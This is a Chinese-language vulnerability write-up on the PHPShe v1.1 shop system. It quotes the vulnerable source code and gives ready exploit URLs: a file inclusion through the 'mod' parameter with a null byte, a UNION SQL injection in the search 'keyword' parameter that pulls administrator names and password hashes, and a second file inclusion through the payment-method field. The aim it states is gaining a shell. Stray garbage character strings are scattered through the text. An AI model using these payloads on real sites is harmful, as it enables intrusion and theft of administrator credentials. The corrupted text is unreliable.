phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
) j  Y. U9 ?7 P* w/* By: : Kn1f3
/* E-Mail : 681796@qq.com
* U" ]( l# [: S8 @+ I' T7 [$ D/*******************************************************/
0×00 整体大概参数传输
! W. d1 N& V' p


//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
; L' Y' @- u, belse {
! ~. M, k: ~! n2 {& t! h) H!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
" s4 A7 a. O: B" U& p9 j}
8 L9 h# ]' F1 K1 Usession_start();
6 e6 Y3 I5 }& c1 z9 [3 B7 A!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
3 {6 P8 F9 D" k: L) y: j( X9 k) Z
. z+ l3 E3 Q( p- Q& o
) L! e# U) d7 ]1 @% n//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
. L. Y2 x& u$ g4 \% a) k( o?>
//common 文件 第15行开始
, o! [% n6 D( s' jurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
/ k' V( `6 ]; P# j. e, f$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

$ V  |! F7 e- @+ e$ b+ ]* I/ p' `2 u
0×02 搜索注入
5 M9 u0 }1 y$ J3 v' O( K) b/ W
<code id="code2">

//product.php文件
case 'list':
2 w2 O9 J- a" x. S7 C, D$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
4 x, @4 x4 z+ W/ i2 P9 D3 [if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
( ?$ Z  f6 x- p7 }5 B9 y/ C$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
, o. k* M: v) r! l1 z  F" d}
else {
) @6 {, h2 N, R- N2 T$sqlwhere .= " order by `product_id` desc";
}
: U' p( {9 @3 f: V7 ?$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
/ \. O; w% ^& I3 t6 Z//热卖排行
6 W; K4 F& \: w$product_hotlist = product_hotlist();
//当前路径
8 w5 z0 H& G$ c. \- E0 B* E$ Z: e$nowpath = category_path($category_id);
# j8 {4 w% F+ i  q; [$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
; D2 _* N# m/ i% [1 c4 J//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
% v# o4 U7 a; h6 q{
//处理条件语句
! ?' Z3 i6 X! y# D& H$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
  P& B1 [( Y9 Q//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
9 X) m$ ], u5 A* K; m: m* P

</code>

* n+ ~6 K% o/ d* Q0×03 包含漏洞2

! g' D% f& H* k+ e# l5 n<code id="code3">

//order.php

case 'pay':

9 v* t9 i3 ?: f& M$order_id = pe_dbhold($_g_id);

4 ?  H  I) Z+ i; x. P3 W$cache_payway = cache::get('payway');

& n1 Z. T& h2 ]9 {foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

2 A* X; |+ l: m4 d1 cif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

; c) A7 q; ~8 k% c}

}

+ r: O7 _; U$ d$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

  x. ^: J8 H/ G$ kforeach ($info_list as $v) {

( Q' D" v; T5 f  e7 Z$order['order_name'] .= "{$v['product_name']};";
# Y0 k3 w3 h5 n$ a# _9 U1 \

/ c) {; {+ p/ X& D}

+ `) g2 F9 M1 D+ j& q' [4 Cecho '正在为您连接支付网站，请稍后...';

( ~# {/ C% i8 w6 j! S9 v+ {include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

3 b2 \+ L* |9 Z}//当一切准备好的时候就可以进行"鸡肋包含了"

& m! [' l# s+ ~else {

6 u# @) D% b' k: n# xpe_error('支付错误...');

( N6 ~& Z" b8 Y% J/ K5 M* J* _2 X}

! B$ Q9 G1 L6 v  }' @3 E8 k7 Q}

* i" x2 T# p2 Y0 \1 b$seo = pe_seo('选择支付方式');

" U1 L4 D& q% Tinclude(pe_tpl('order_pay.html'));

8 ?. _: z  m7 E3 d( M, q1 _break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>